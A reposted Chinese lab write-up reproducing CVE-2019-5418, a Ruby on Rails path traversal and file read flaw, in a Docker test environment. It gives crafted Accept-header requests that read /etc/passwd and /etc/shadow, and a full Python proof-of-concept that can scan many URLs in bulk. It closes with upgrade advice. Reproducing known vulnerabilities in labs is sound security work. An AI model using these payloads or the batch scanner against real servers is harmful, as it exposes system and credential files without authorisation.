热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

RubyonRails路径穿越与任意文件读取复现CVE20195418

RubyonRails路径穿越与任意文件读取复现CVE-2019-5418编写者:thelostworld_fv简介:RubyonRails是一个Web

Ruby on Rails路径穿越与任意文件读取复现

CVE-2019-5418

编写者:thelostworld_fv


简介:


Ruby on Rails是一个 Web 应用程序框架,是一个相对较新的 Web 应用程序框架,构建在 Ruby 语言之上。它被宣传为现有企业框架的一个替代,而它的目标,就是让 Web 开发方面的生活,变得更轻松。


漏洞描述:

这个漏洞主要是由于Ruby on Rails使用了指定参数的render file来渲染应用之外的视图,我们可以通过修改访问某控制器的请求包,通过“../../../../”来达到路径穿越的目的,然后再通过“{{”来进行模板查询路径的闭合,使得所要访问的文件被当做外部模板来解析。


影响版本:

Rails 全版本

其中修复版本:

Rails 6.0.0.beta3,5.2.2.1,5.1.6.2,5.0.7.2,4.2.11.1


漏洞复现(Docker环境):


git clone github.com/vulhub/vulhu

cd /vulhub/rails/CVE-2019-5418

docker-compose up -d

docker 实验环境


v2-157ce9911be621e5f92e688f9067a70c_b.jpg


启动环境


v2-f66eda129370374f5bb7530c277e244d_b.jpg


192.168.182.143:3000/ 访问ip+3000


v2-31a38356fdc678e4e8df64f3e05914ca_b.jpg


请求robots,Burp抓包




访问your-ip:3000/robots可见,正常的robots.txt文件被读取出来。

利用漏洞,发送如下数据包,读取/etc/passwd:


GET /robots HTTP/1.1

Host: your-ip:3000 Accept-Encoding: gzip, deflate

Accept: ../../../../../../../../etc/passwd{{

Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close


v2-54fb89da0c281ac9c399133a6485f9e7_b.jpg


读取etc/passwd


v2-3c0f6635800c336dd329604bf9719785_b.jpg


查看shadow文件

GET /robots HTTP/1.1

Host: 192.168.182.143:3000

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0

Accept-Language: en-US,en;q=0.5

Accept: ../../../../../../../../etc/shadow{{

Connection: close

Upgrade-Insecure-Requests: 1



v2-117c7a388c2ceeebb38e9c8db8fb2378_b.jpg



还可以使用msf里面的攻击模块


v2-2bcc1192fef10b0086b6bd6c41b628ae_b.jpg


测试


v2-9243a5c5942412480108312e7a621329_b.jpg


python脚本POC验证:github.com/Paper-Pen/Ti


#CVE-2019-5418Ruby on Rails路径穿越与任意文件

# Usage:python3 CVE-2019-5418.py -u url

# python3 CVE-2019-5418.py -f url.txt


import requests

import argparse

import sys


def rail_poc(url):

url = url+'/robots'

headers = {

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0",

"Accept": "../../../../../../etc/passwd{{",

"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",

"Accept-Encoding": "gzip, deflate",

"DNT": "1",

"Connection": "close",

"Upgrade-Insecure-Requests": "1",

}

resp = requests.get(url,headers=headers).text

if "nologin" in resp:

print(url+"存在任意文件读取漏洞")

print(resp)

else:

print("不存在漏洞")

if __name__ == '__main__':

if len(sys.argv) == 1:

print('python3 CVE-2019-5418.py -u url')

print('python3 CVE-2019-5418.py -f url.txt')

parser = argparse.ArgumentParser(description="CVE-2019-5418.py -u 指定url -f 指定文本")

parser.add_argument('-u', '--url', default='', help="-u xx.xx.xx.xx")

parser.add_argument('-f', '--file', default='', help="-f xxx.txt")

args = parser.parse_args()

if args.url:

rail_poc(args.url)

if args.file:

with open(args.file,'r') as f:

urls = f.readlines()

for url in urls:

url = url.strip('\n').strip('\r')

rail_poc(url)



v2-edf52237e3ff8044dd106591b6578fd0_b.jpg



修复建议:

1. 使用已经修复该漏洞的版本

地址:github.com/rails/rails/


总结:

1、注意那个msf的端口和最后的/etc/passwd的文件位置。

2、python的脚本修改了一下,可以直观的看/etc/passwd的具体的文件内容。

(如果的批量还是注释返回的数据的打印)

3、最近工作闲暇漏洞复现一下(安全贵在坚持),如果有纰漏,望大佬指正。


参考:

mp.weixin.qq.com/s/Ok8v

freebuf.com/vuls/199617

xz.aliyun.com/t/4448



个人知乎:zhihu.com/people/fu-wei

个人简书:jianshu.com/u/bf0e38a8d

v2-767d87615c09a12c3abbe30fc8afaa32_b.jpg


推荐阅读
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • 微软头条实习生分享深度学习自学指南
    本文介绍了一位微软头条实习生自学深度学习的经验分享,包括学习资源推荐、重要基础知识的学习要点等。作者强调了学好Python和数学基础的重要性,并提供了一些建议。 ... [详细]
  • 闭包一直是Java社区中争论不断的话题,很多语言都支持闭包这个语言特性,闭包定义了一个依赖于外部环境的自由变量的函数,这个函数能够访问外部环境的变量。本文以JavaScript的一个闭包为例,介绍了闭包的定义和特性。 ... [详细]
  • Shodan简单用法Shodan简介Shodan是互联网上最可怕的搜索引擎,与谷歌不同的是,Shodan不是在网上搜索网址,而是直接进入互联网的背后通道。Shodan可以说是一款“ ... [详细]
  • 使用python输入PDF编号自动下载freepatentsonline.com的文档#!usrbinenvpython3#codingutf-8#Version:python3. ... [详细]
  • Centos7.6安装Gitlab教程及注意事项
    本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ... [详细]
  • baresip android编译、运行教程1语音通话
    本文介绍了如何在安卓平台上编译和运行baresip android,包括下载相关的sdk和ndk,修改ndk路径和输出目录,以及创建一个c++的安卓工程并将目录考到cpp下。详细步骤可参考给出的链接和文档。 ... [详细]
  • 使用在线工具jsonschema2pojo根据json生成java对象
    本文介绍了使用在线工具jsonschema2pojo根据json生成java对象的方法。通过该工具,用户只需将json字符串复制到输入框中,即可自动将其转换成java对象。该工具还能解析列表式的json数据,并将嵌套在内层的对象也解析出来。本文以请求github的api为例,展示了使用该工具的步骤和效果。 ... [详细]
  • 关于我们EMQ是一家全球领先的开源物联网基础设施软件供应商,服务新产业周期的IoT&5G、边缘计算与云计算市场,交付全球领先的开源物联网消息服务器和流处理数据 ... [详细]
  • 推荐系统遇上深度学习(十七)详解推荐系统中的常用评测指标
    原创:石晓文小小挖掘机2018-06-18笔者是一个痴迷于挖掘数据中的价值的学习人,希望在平日的工作学习中,挖掘数据的价值, ... [详细]
  • 【MicroServices】【Arduino】装修甲醛检测,ArduinoDart甲醛、PM2.5、温湿度、光照传感器等,数据记录于SD卡,Python数据显示,UI5前台,微服务后台……
    这篇文章介绍了一个基于Arduino的装修甲醛检测项目,使用了ArduinoDart甲醛、PM2.5、温湿度、光照传感器等硬件,并将数据记录于SD卡,使用Python进行数据显示,使用UI5进行前台设计,使用微服务进行后台开发。该项目还在不断更新中,有兴趣的可以关注作者的博客和GitHub。 ... [详细]
  • CF:3D City Model(小思维)问题解析和代码实现
    本文通过解析CF:3D City Model问题,介绍了问题的背景和要求,并给出了相应的代码实现。该问题涉及到在一个矩形的网格上建造城市的情景,每个网格单元可以作为建筑的基础,建筑由多个立方体叠加而成。文章详细讲解了问题的解决思路,并给出了相应的代码实现供读者参考。 ... [详细]
  • JavaScript简介及语言特点
    本文介绍了JavaScript的起源和发展历程,以及其在前端验证和服务器端开发中的应用。同时,还介绍了ECMAScript标准、DOM对象和BOM对象的作用及特点。最后,对JavaScript作为解释型语言和编译型语言的区别进行了说明。 ... [详细]
  • 本文介绍了网页播放视频的三种实现方式,分别是使用html5的video标签、使用flash来播放以及使用object标签。其中,推荐使用html5的video标签来简单播放视频,但有些老的浏览器不支持html5。另外,还可以使用flash来播放视频,需要使用object标签。 ... [详细]
  • 本文整理了常用的CSS属性及用法,包括背景属性、边框属性、尺寸属性、可伸缩框属性、字体属性和文本属性等,方便开发者查阅和使用。 ... [详细]
author-avatar
倪好蛋蛋小猪
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有